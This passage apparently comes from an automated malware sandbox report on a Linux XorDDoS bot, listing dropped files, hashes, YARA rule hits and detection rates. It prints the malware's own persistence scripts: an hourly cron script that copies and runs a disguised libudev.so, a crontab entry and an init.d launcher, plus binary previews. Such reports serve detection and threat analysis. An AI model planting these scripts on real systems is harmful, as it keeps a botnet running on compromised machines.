	M3AlQ4qnD1.elf	Get hash	malicious	Browse	109.202.202.202
	yhLIv1JXjE.elf	Get hash	malicious	Browse	109.202.202.202
	8CGsiHf6DR.elf	Get hash	malicious	Browse	109.202.202.202
	SecuriteInfo.com.Linux.Mirai.3982.5725.7823.elf	Get hash	malicious	Browse	109.202.202.202
	4Yqjr4tC9n.elf	Get hash	malicious	Browse	109.202.202.202
	sc8muOd7mo.elf	Get hash	malicious	Browse	109.202.202.202
	x86.elf	Get hash	malicious	Browse	109.202.202.202
	cKZac59X2j.elf	Get hash	malicious	Browse	109.202.202.202
	1CJjWJsHDl.elf	Get hash	malicious	Browse	109.202.202.202
	eo1u445yTK.elf	Get hash	malicious	Browse	109.202.202.202
	ppLV4FVVqY.elf	Get hash	malicious	Browse	109.202.202.202
	yshu93ItWh.elf	Get hash	malicious	Browse	109.202.202.202
	hDSjcaupwB.elf	Get hash	malicious	Browse	109.202.202.202
	829Gc0aLcJ.elf	Get hash	malicious	Browse	109.202.202.202

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
/etc/cron.hourly/gcc.sh	fuck.elf	Get hash	malicious	Browse
	dkuidbsedp	Get hash	malicious	Browse
	libudev.so	Get hash	malicious	Browse
	23.vir	Get hash	malicious	Browse
	23.vir	Get hash	malicious	Browse
	xor1.o	Get hash	malicious	Browse
	CCCxor.o	Get hash	malicious	Browse
	2BAFxor.o	Get hash	malicious	Browse
	task2.bin	Get hash	malicious	Browse
	task2.bin	Get hash	malicious	Browse
	task2.bin	Get hash	malicious	Browse
	0Xorddos.o	Get hash	malicious	Browse
	x.o	Get hash	malicious	Browse
	23	Get hash	malicious	Browse
	23	Get hash	malicious	Browse
	XZFWLZVF1Z	Get hash	malicious	Browse
	EgrT0zBhDa	Get hash	malicious	Browse
	4ljhdTTyiA	Get hash	malicious	Browse
	7nJAEBDitl	Get hash	malicious	Browse
	ygljglkjgfg0	Get hash	malicious	Browse

Created / dropped Files

/etc/cron.hourly/gcc.sh

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	228
Entropy (8bit):	4.807897441464882
Encrypted:	false
SSDEEP:	3:TKH4v1kxtsLNELQ9YmPQnMLnVMPQmlZnEMFaGZg28Xwf6SkCVcLNGLC75pkVKJdm:htiy4Mrm9lVNy28XbCVP270gJdE/v
MD5:	3BAB747CEDC5F0EBE86AAA7F982470CD
SHA1:	3C7D1C6931C2B3DAE39D38346B780EA57C8E6142
SHA-256:	74D31CAC40D98EE64DF2A0C29CEB229D12AC5FA699C2EE512FC69360F0CF68C5
SHA-512:	21E8A6D9CA8531D37DEF83D8903E5B0FA11ECF33D85D05EDAB1E0FEB4ACAC65AE2CF5222650FB9F533F459CCC51BB2903276FF6F827B847CC5E6DAC7D45A0A42
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 28% Antivirus: Metadefender, Detection: 0%, Browse
Joe Sandbox View:	Filename: fuck.elf, Detection: malicious, Browse Filename: dkuidbsedp, Detection: malicious, Browse Filename: libudev.so, Detection: malicious, Browse Filename: 23.vir, Detection: malicious, Browse Filename: 23.vir, Detection: malicious, Browse Filename: xor1.o, Detection: malicious, Browse Filename: CCCxor.o, Detection: malicious, Browse Filename: 2BAFxor.o, Detection: malicious, Browse Filename: task2.bin, Detection: malicious, Browse Filename: task2.bin, Detection: malicious, Browse Filename: task2.bin, Detection: malicious, Browse Filename: 0Xorddos.o, Detection: malicious, Browse Filename: x.o, Detection: malicious, Browse Filename: 23, Detection: malicious, Browse Filename: 23, Detection: malicious, Browse Filename: XZFWLZVF1Z, Detection: malicious, Browse Filename: EgrT0zBhDa, Detection: malicious, Browse Filename: 4ljhdTTyiA, Detection: malicious, Browse Filename: 7nJAEBDitl, Detection: malicious, Browse Filename: ygljglkjgfg0, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	#!/bin/sh.PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin.for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done.cp /lib/libudev.so /lib/libudev.so.6./lib/libudev.so.6.

/etc/crontab

Download File

Process:	/bin/sh
File Type:	ASCII text
Category:	dropped
Size (bytes):	41
Entropy (8bit):	3.8484226636198593
Encrypted:	false
SSDEEP:	3:FFP13tKebPv4KFcKv:/P1IebPPFcKv
MD5:	636299E19F3BFB8CDA661BC956C1CE7F
SHA1:	2B45273CCBFE139D58FC3554D6943D4338C18E15
SHA-256:	8CBDE8A027F2887DD7A3C5C6F98FDF127BAE31FE457FEF9D7945C9E48D195F44
SHA-512:	41AF1A49B86C9C81965AF32B404494CC5072AFDA004F385977110F8EA134A770650CBD2F9617AFCD87D6744954659BE4AE365E65DCA4491A375275E710310F1A
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	/3 * * * root /etc/cron.hourly/gcc.sh.

/etc/init.d/Di1p3oLnDb.elf

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.254076416520593
Encrypted:	false
SSDEEP:	6:hUtoFdU9tVHLsKheJcHjBE21YJvmNeMwhYH11DzRIaVta6MzPVtq4:63t6SjBEMO1+Xzua6zPt
MD5:	393D23714F9525F6D07D01797D5B047D
SHA1:	AB739C5E3771B977DCD799ECC1D9BDD024A86028
SHA-256:	15C7238DF7035329D9334F3F7576C0A73676E335AD603287F86A427F20F8096C
SHA-512:	9B4F25D43EB9E979A8D2A8B01A44EE75F6AF869F4F56C87EB0AAAF09B41E3351E6F203025C01CA5A447CEBFED73299BA871B05491D03778D1B40F7ED4647B412
Malicious:	true
Reputation:	low
Preview:	#!/bin/sh.# chkconfig: 12345 90 90.# description: Di1p3oLnDb.elf.### BEGIN INIT INFO.# Provides:..Di1p3oLnDb.elf.# Required-Start:..# Required-Stop:..# Default-Start:.1 2 3 4 5.# Default-Stop:...# Short-Description:.Di1p3oLnDb.elf.### END INIT INFO.case $1 in.start)../tmp/Di1p3oLnDb.elf..;;.stop)..;;.*)../tmp/Di1p3oLnDb.elf..;;.esac.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/run/gcc.pid

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	32
Entropy (8bit):	4.288909765557392
Encrypted:	false
SSDEEP:	3:EG2Xb0AAaXRFn:EnXb0AAaX/
MD5:	36A0169048788E37F54170151182E063
SHA1:	D4E5A82B09C423A0774A85C307B0FB97DF389FA3
SHA-256:	5D94BA83BE854A9C2F2AF26A26CF46724A0B1B91DF01670A047F037EA5E992CB
SHA-512:	0DCD2100AB79B82182F88446C4F38E26C44C8F27C72E199A7C56418BF8E3F5DDE66C95461EEF34E1026F36FC090DDAF1724D414ED7D70AA9532FD605B837C304
Malicious:	false
Reputation:	low
Preview:	qxswbkrhglbryhoajlnppmfyfcglitia

/usr/bin/bvyxmkkmbp

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
Category:	dropped
Size (bytes):	548627
Entropy (8bit):	6.19749821201247
Encrypted:	false
SSDEEP:	12288:4Ufrcn+vwK5ripVU4tdZ1pNL/pVbzZ66ySjQn36EojO:/fUywKQ7Fb1pNL/p5ZfjQn36EuO
MD5:	1C69907B9B1EA6970CE38E0262EE82E1
SHA1:	FE1C8DC4B34DD6A811347C266910479A1FDC07E4
SHA-256:	FAD63AE792DA231A5A4117D624B0C3A5E7EE9507D43F28575CC3274B786C29E6
SHA-512:	87B975F32A6AA20FFD5F1ACAD53ECF0AD285BBA971EDE1FB602BE6E9320DF1A12ACC8B78FC3C294BECC68291D8CBAFB5E96B65EA879ABAC4E9BC9415B02DA227
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/bvyxmkkmbp, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/bvyxmkkmbp, Author: ditekSHen Rule: Linux_Trojan_Xorddos_2aef46a6, Description: unknown, Source: /usr/bin/bvyxmkkmbp, Author: unknown Rule: Linux_Trojan_Xorddos_884cab60, Description: unknown, Source: /usr/bin/bvyxmkkmbp, Author: unknown
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....Z......4. ...(......................I...I...............I..............Ts........................ ... ................I..............@...........Q.td........................................GNU.................U.....5...................1.^....PTRh <..h`<..QVh............U..S........[...Y..........t..~..X[.......U..S....=.....uT.....-........X......9.v...&........................9.w......t...$<h....o............[]......U..............Z..xX....t .T$..D$......D$.......$<h....q... .....t........t...$ ..............U..W.....VS.............D$......D$.......$.....E..D$.......$.........................D$......D$.......$....E..D$......D$.A.....$.................xk.D$......D$.......$.o...............v.................D$......D$..4$.\.......~........\$..D$..<$....9.t...~..4$..t&......~..<$.................[^_]..&......'....U..WVS....E..}..D$......D$.A.....$.....E.........~j.D$......D$.......$......E.....~?1.....t&...9..E.....~)..).=....~.

/usr/bin/cbsypxwvhg

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, missing section headers at 548576
Category:	dropped
Size (bytes):	438272
Entropy (8bit):	6.352499152117628
Encrypted:	false
SSDEEP:	12288:4Ufrcn+vwK5ripVU4tdZ1pNL/pVbzZ66y2:/fUywKQ7Fb1pNL/p5ZV
MD5:	2FCC3F94F72994F0FFD6ADBF57F6BBC8
SHA1:	88A21ACE0ACF005F48E4FEEEECA3FB654BC34693
SHA-256:	C485480457299DAA2FCDA84840ED5F8E83A66E8CFC3472DA835E181559E36B6B
SHA-512:	E8BD94035807E3CAC8D74E91CC7C5049628D0AF62ABBFE710B72530287996E42087C03F977E7D415ACAC692E030C0479C632CCF9BDFE3417F2D1F1CDD65E6C39
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/cbsypxwvhg, Author: Joe Security Rule: Linux_Trojan_Xorddos_2aef46a6, Description: unknown, Source: /usr/bin/cbsypxwvhg, Author: unknown Rule: Linux_Trojan_Xorddos_884cab60, Description: unknown, Source: /usr/bin/cbsypxwvhg, Author: unknown
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 46%
Preview:	.ELF........................4....Z......4. ...(......................I...I...............I..............Ts........................ ... ................I..............@...........Q.td........................................GNU.................U.....5...................1.^....PTRh <..h`<..QVh............U..S........[...Y..........t..~..X[.......U..S....=.....uT.....-........X......9.v...&........................9.w......t...$<h....o............[]......U..............Z..xX....t .T$..D$......D$.......$<h....q... .....t........t...$ ..............U..W.....VS.............D$......D$.......$.....E..D$.......$.........................D$......D$.......$....E..D$......D$.A.....$.................xk.D$......D$.......$.o...............v.................D$......D$..4$.\.......~........\$..D$..<$....9.t...~..4$..t&......~..<$.................[^_]..&......'....U..WVS....E..}..D$......D$.A.....$.....E.........~j.D$......D$.......$......E.....~?1.....t&...9..E.....~)..).=....~.

/usr/bin/dvisuvnfsi

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
Category:	dropped
Size (bytes):	548627
Entropy (8bit):	6.19749466561852
Encrypted:	false
SSDEEP:	12288:4Ufrcn+vwK5ripVU4tdZ1pNL/pVbzZ66ySjQn36Eojo:/fUywKQ7Fb1pNL/p5ZfjQn36Euo
MD5:	34A7F54873746B3448C4E06AF756C541
SHA1:	EF84B993222393F85885B024175A5AC7EC5EBCFC
SHA-256:	CC4FFE8348B178083B1301C7A1CDFE105528B93F408DF9D143A93CC191F9EDED
SHA-512:	07FD83B595DECC1A44DEBB83CC19438FBE6243703EE8C49ED65DFBC4711AAC794F310B6B5F7D751C2C2AABF03B8CD5B81C34080D435F2D7B5F5970F16A9D2F91
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/dvisuvnfsi, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/dvisuvnfsi, Author: ditekSHen Rule: Linux_Trojan_Xorddos_2aef46a6, Description: unknown, Source: /usr/bin/dvisuvnfsi, Author: unknown Rule: Linux_Trojan_Xorddos_884cab60, Description: unknown, Source: /usr/bin/dvisuvnfsi, Author: unknown
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....Z......4. ...(......................I...I...............I..............Ts........................ ... ................I..............@...........Q.td........................................GNU.................U.....5...................1.^....PTRh <..h`<..QVh............U..S........[...Y..........t..~..X[.......U..S....=.....uT.....-........X......9.v...&........................9.w......t...$<h....o............[]......U..............Z..xX....t .T$..D$......D$.......$<h....q... .....t........t...$ ..............U..W.....VS.............D$......D$.......$.....E..D$.......$.........................D$......D$.......$....E..D$......D$.A.....$.................xk.D$......D$.......$.o...............v.................D$......D$..4$.\.......~........\$..D$..<$....9.t...~..4$..t&......~..<$.................[^_]..&......'....U..WVS....E..}..D$......D$.A.....$.....E.........~j.D$......D$.......$......E.....~?1.....t&...9..E.....~)..).=....~.

/usr/bin/dwfhzeeizt

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
Category:	dropped
Size (bytes):	548627
Entropy (8bit):	6.197495057832178
Encrypted:	false
SSDEEP:	12288:4Ufrcn+vwK5ripVU4tdZ1pNL/pVbzZ66ySjQn36EojO:/fUywKQ7Fb1pNL/p5ZfjQn36EuO
MD5:	2394C32C9BF33731BA0AEA110FFFAAF0
SHA1:	156AD582A11D4BCEAF3F11B50A5A4F8D77BC2D50
SHA-256:	04A557666A8C2DE1515B4B4DDEDC008D1196ABE1002D09B87089C8AB35AEC9CB
SHA-512:	515C6CC15767C54CEC7F62E7604E3325C45DFC405D696907FD7B2E38C1452E5C14FBE21CB99E4BBBACD1C92A7CBBE1D1FF0C4EA629392488099FCD7EA1AC9751
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/dwfhzeeizt, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/dwfhzeeizt, Author: ditekSHen Rule: Linux_Trojan_Xorddos_2aef46a6, Description: unknown, Source: /usr/bin/dwfhzeeizt, Author: unknown Rule: Linux_Trojan_Xorddos_884cab60, Description: unknown, Source: /usr/bin/dwfhzeeizt, Author: unknown
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....Z......4. ...(......................I...I...............I..............Ts........................ ... ................I..............@...........Q.td........................................GNU.................U.....5...................1.^....PTRh <..h`<..QVh............U..S........[...Y..........t..~..X[.......U..S....=.....uT.....-........X......9.v...&........................9.w......t...$<h....o............[]......U..............Z..xX....t .T$..D$......D$.......$<h....q... .....t........t...$ ..............U..W.....VS.............D$......D$.......$.....E..D$.......$.........................D$......D$.......$....E..D$......D$.A.....$.................xk.D$......D$.......$.o...............v.................D$......D$..4$.\.......~........\$..D$..<$....9.t...~..4$..t&......~..<$.................[^_]..&......'....U..WVS....E..}..D$......D$.A.....$.....E.........~j.D$......D$.......$......E.....~?1.....t&...9..E.....~)..).=....~.

/usr/bin/gwqnqvffue

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
Category:	dropped
Size (bytes):	548627
Entropy (8bit):	6.197499417755948
Encrypted:	false
SSDEEP:	12288:4Ufrcn+vwK5ripVU4tdZ1pNL/pVbzZ66ySjQn36EojL:/fUywKQ7Fb1pNL/p5ZfjQn36EuL
MD5:	583764D38D6A3B24A072BA12C518EF07
SHA1:	A2B877E26F8E475B41E5AFAC117EDA688631EF75
SHA-256:	5464F8E0571FE4E1E075230CC3452B32685512A87BAFFAC2E4BFB51EC2C69DEF
SHA-512:	24868679521B23AB6A5EC43D37FFF9D0E104404ED95DA885442E6BDC43B71612922DF4E9EB71A633CC00CB312D55D25459E9318BAA6D6F3744DAB902DBB138C2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/gwqnqvffue, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/gwqnqvffue, Author: ditekSHen Rule: Linux_Trojan_Xorddos_2aef46a6, Description: unknown, Source: /usr/bin/gwqnqvffue, Author: unknown Rule: Linux_Trojan_Xorddos_884cab60, Description: unknown, Source: /usr/bin/gwqnqvffue, Author: unknown
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....Z......4. ...(......................I...I...............I..............Ts........................ ... ................I..............@...........Q.td........................................GNU.................U.....5...................1.^....PTRh <..h`<..QVh............U..S........[...Y..........t..~..X[.......U..S....=.....uT.....-........X......9.v...&........................9.w......t...$<h....o............[]......U..............Z..xX....t .T$..D$......D$.......$<h....q... .....t........t...$ ..............U..W.....VS.............D$......D$.......$.....E..D$.......$.........................D$......D$.......$....E..D$......D$.A.....$.................xk.D$......D$.......$.o...............v.................D$......D$..4$.\.......~........\$..D$..<$....9.t...~..4$..t&......~..<$.................[^_]..&......'....U..WVS....E..}..D$......D$.A.....$.....E.........~j.D$......D$.......$......E.....~?1.....t&...9..E.....~)..).=....~.

/usr/bin/hszflciagy

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
Category:	dropped
Size (bytes):	548627
Entropy (8bit):	6.1974896361337235
Encrypted:	false
SSDEEP:	12288:4Ufrcn+vwK5ripVU4tdZ1pNL/pVbzZ66ySjQn36Eojm:/fUywKQ7Fb1pNL/p5ZfjQn36Eum
MD5:	518F3CAC4283FC9EEE5D8D2F61A93231
SHA1:	A81201EC4050EF6C7328EEF91CDFB869CB306F88
SHA-256:	417B305DC09C32537749BB7762CE0037C0AC1CE6E04E322B757188A7750E2081
SHA-512:	A8E0CEE063135158951CEAFA74C00F43E9ABB89DAB681D752D5A276B6D72A985B2FF9BB4E97579CD459A4EF02DF359651C5D8057C59F765D4514422F839A3FCD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/hszflciagy, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/hszflciagy, Author: ditekSHen Rule: Linux_Trojan_Xorddos_2aef46a6, Description: unknown, Source: /usr/bin/hszflciagy, Author: unknown Rule: Linux_Trojan_Xorddos_884cab60, Description: unknown, Source: /usr/bin/hszflciagy, Author: unknown
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....Z......4. ...(......................I...I...............I..............Ts........................ ... ................I..............@...........Q.td........................................GNU.................U.....5...................1.^....PTRh <..h`<..QVh............U..S........[...Y..........t..~..X[.......U..S....=.....uT.....-........X......9.v...&........................9.w......t...$<h....o............[]......U..............Z..xX....t .T$..D$......D$.......$<h....q... .....t........t...$ ..............U..W.....VS.............D$......D$.......$.....E..D$.......$.........................D$......D$.......$....E..D$......D$.A.....$.................xk.D$......D$.......$.o...............v.................D$......D$..4$.\.......~........\$..D$..<$....9.t...~..4$..t&......~..<$.................[^_]..&......'....U..WVS....E..}..D$......D$.A.....$.....E.........~j.D$......D$.......$......E.....~?1.....t&...9..E.....~)..).=....~.

/usr/bin/ilrbozcctp

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
Category:	dropped
Size (bytes):	548627
Entropy (8bit):	6.197490346772504
Encrypted:	false
SSDEEP:	12288:4Ufrcn+vwK5ripVU4tdZ1pNL/pVbzZ66ySjQn36EojV:/fUywKQ7Fb1pNL/p5ZfjQn36EuV
MD5:	84093139500509D4ABF65BF4368660C3
SHA1:	39429756A23CF7D20738DAE8DF92147237177C17
SHA-256:	FE534F56EC046014922383D8D6B81B41C1709891D2A85424C0AB530EAD057C40
SHA-512:	636998E5BAB190F274B8FCFB3DB5D855FB27531BD67E1687D16713B558C3F78F9495C18D9462BCCABA35E74C7D39CEB8323F339A72EBA21D4F9C32B0C17B302E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/ilrbozcctp, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/ilrbozcctp, Author: ditekSHen Rule: Linux_Trojan_Xorddos_2aef46a6, Description: unknown, Source: /usr/bin/ilrbozcctp, Author: unknown Rule: Linux_Trojan_Xorddos_884cab60, Description: unknown, Source: /usr/bin/ilrbozcctp, Author: unknown
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....Z......4. ...(......................I...I...............I..............Ts........................ ... ................I..............@...........Q.td........................................GNU.................U.....5...................1.^....PTRh <..h`<..QVh............U..S........[...Y..........t..~..X[.......U..S....=.....uT.....-........X......9.v...&........................9.w......t...$<h....o............[]......U..............Z..xX....t .T$..D$......D$.......$<h....q... .....t........t...$ ..............U..W.....VS.............D$......D$.......$.....E..D$.......$.........................D$......D$.......$....E..D$......D$.A.....$.................xk.D$......D$.......$.o...............v.................D$......D$..4$.\.......~........\$..D$..<$....9.t...~..4$..t&......~..<$.................[^_]..&......'....U..WVS....E..}..D$......D$.A.....$.....E.........~j.D$......D$.......$......E.....~?1.....t&...9..E.....~)..).=....~.

/usr/bin/kihierzlde

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
Category:	dropped
Size (bytes):	548627
Entropy (8bit):	6.197491291278909
Encrypted:	false
SSDEEP:	12288:4Ufrcn+vwK5ripVU4tdZ1pNL/pVbzZ66ySjQn36Eoj7:/fUywKQ7Fb1pNL/p5ZfjQn36Eu7
MD5:	3AE356A1821888903E278250F3A77D3B
SHA1:	A917EDAB8F4BDA75A7824D5AA38770BE363F78E5
SHA-256:	3FFDAA63EACC27E13E09371F3DEF3013141BDE539B40FBA016C6D399A108D2D3
SHA-512:	9764A5E334A7E847CEAE379C7DE1BE6C2F320BCE7B30D1E0B71529159007AE589DFAF9787928DB7CA38E493FB6882CAB7C27189CD1AF8C850742C6E6E667C462
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/kihierzlde, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/kihierzlde, Author: ditekSHen Rule: Linux_Trojan_Xorddos_2aef46a6, Description: unknown, Source: /usr/bin/kihierzlde, Author: unknown Rule: Linux_Trojan_Xorddos_884cab60, Description: unknown, Source: /usr/bin/kihierzlde, Author: unknown
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....Z......4. ...(......................I...I...............I..............Ts........................ ... ................I..............@...........Q.td........................................GNU.................U.....5...................1.^....PTRh <..h`<..QVh............U..S........[...Y..........t..~..X[.......U..S....=.....uT.....-........X......9.v...&........................9.w......t...$<h....o............[]......U..............Z..xX....t .T$..D$......D$.......$<h....q... .....t........t...$ ..............U..W.....VS.............D$......D$.......$.....E..D$.......$.........................D$......D$.......$....E..D$......D$.A.....$.................xk.D$......D$.......$.o...............v.................D$......D$..4$.\.......~........\$..D$..<$....9.t...~..4$..t&......~..<$.................[^_]..&......'....U..WVS....E..}..D$......D$.A.....$.....E.........~j.D$......D$.......$......E.....~?1.....t&...9..E.....~)..).=....~.

/usr/bin/koygrrjkon

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
Category:	dropped
Size (bytes):	548627
Entropy (8bit):	6.19749667970339
Encrypted:	false
SSDEEP:	12288:4Ufrcn+vwK5ripVU4tdZ1pNL/pVbzZ66ySjQn36Eoj+:/fUywKQ7Fb1pNL/p5ZfjQn36Eu+
MD5:	F52674A9AF3A42B5B8EDF7C4CA4A5159
SHA1:	04257FBA3845A3D4823E9049F32EAF1D65E3FBFE
SHA-256:	6010BC7B1179CFD5E2F4C76A7D30F78EBEAF89AB915E218E0A16D789E56F7FBB
SHA-512:	2B758EF68DEE34F13A0A7A64F7DCA1F1F57E97CF83D66DC5FB26B6585BE4DC84A2ACF96392552FE5BB04EBEEAC0B7C13F524ED260FF05568A58ADECFF9684CC9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/koygrrjkon, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/koygrrjkon, Author: ditekSHen Rule: Linux_Trojan_Xorddos_2aef46a6, Description: unknown, Source: /usr/bin/koygrrjkon, Author: unknown Rule: Linux_Trojan_Xorddos_884cab60, Description: unknown, Source: /usr/bin/koygrrjkon, Author: unknown
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....Z......4. ...(......................I...I...............I..............Ts........................ ... ................I..............@...........Q.td........................................GNU.................U.....5...................1.^....PTRh <..h`<..QVh............U..S........[...Y..........t..~..X[.......U..S....=.....uT.....-........X......9.v...&........................9.w......t...$<h....o............[]......U..............Z..xX....t .T$..D$......D$.......$<h....q... .....t........t...$ ..............U..W.....VS.............D$......D$.......$.....E..D$.......$.........................D$......D$.......$....E..D$......D$.A.....$.................xk.D$......D$.......$.o...............v.................D$......D$..4$.\.......~........\$..D$..<$....9.t...~..4$..t&......~..<$.................[^_]..&......'....U..WVS....E..}..D$......D$.A.....$.....E.........~j.D$......D$.......$......E.....~?1.....t&...9..E.....~)..).=....~.

/usr/bin/ltaanxttrs

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
Category:	dropped
Size (bytes):	548627
Entropy (8bit):	6.197479404497621
Encrypted:	false
SSDEEP:	12288:4Ufrcn+vwK5ripVU4tdZ1pNL/pVbzZ66ySjQn36Eoj1:/fUywKQ7Fb1pNL/p5ZfjQn36Eu1
MD5:	E51ED28589D76C5F8FC2AD7EA9C1CC03
SHA1:	AD9ACE4BAD7EA7D3732D3754F9A145296A0CEA45
SHA-256:	99689AA0171C04EABC09D0E43CD80FBD1BABB855394A48C45DC9E01683CA85BF
SHA-512:	5A68102539387DC1D50774F2002655D5B042A1F61D740C091F9E636CBB5BC331455E3524EE075F5C4BB5A63F7C66A4207DB9EB45B1C62C1F3C4635D6CDAF9F85
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XorDDoS, Description: Yara detected XorDDoS Bot, Source: /usr/bin/ltaanxttrs, Author: Joe Security Rule: MALWARE_Linux_XORDDoS, Description: Detects XORDDoS, Source: /usr/bin/ltaanxttrs, Author: ditekSHen Rule: Linux_Trojan_Xorddos_2aef46a6, Description: unknown, Source: /usr/bin/ltaanxttrs, Author: unknown Rule: Linux_Trojan_Xorddos_884cab60, Description: unknown, Source: /usr/bin/ltaanxttrs, Author: unknown
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	.ELF........................4....Z......4. ...(......................I...I...............I..............Ts........................ ... ................I..............@...........Q.td........................................GNU.................U.....5...................1.^....PTRh <..h`<..QVh............U..S........[...Y..........t..~..X[.......U..S....=.....uT.....-........X......9.v...&........................9.w......t...$<h....o............[]......U..............Z..xX....t .T$..D$......D$.......$<h....q... .....t........t...$ ..............U..W.....VS.............D$......D$.......$.....E..D$.......$.........................D$......D$.......$....E..D$......D$.A.....$.................xk.D$......D$.......$.o...............v.................D$......D$..4$.\.......~........\$..D$..<$....9.t...~..4$..t&......~..<$.................[^_]..&......'....U..WVS....E..}..D$......D$.A.....$.....E.........~j.D$......D$.......$......E.....~?1.....t&...9..E.....~)..).=....~.

/usr/bin/qhknhggmjf

Download File

Process:	/tmp/Di1p3oLnDb.elf
File Type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
Category:	dropped
Size (bytes):	548627
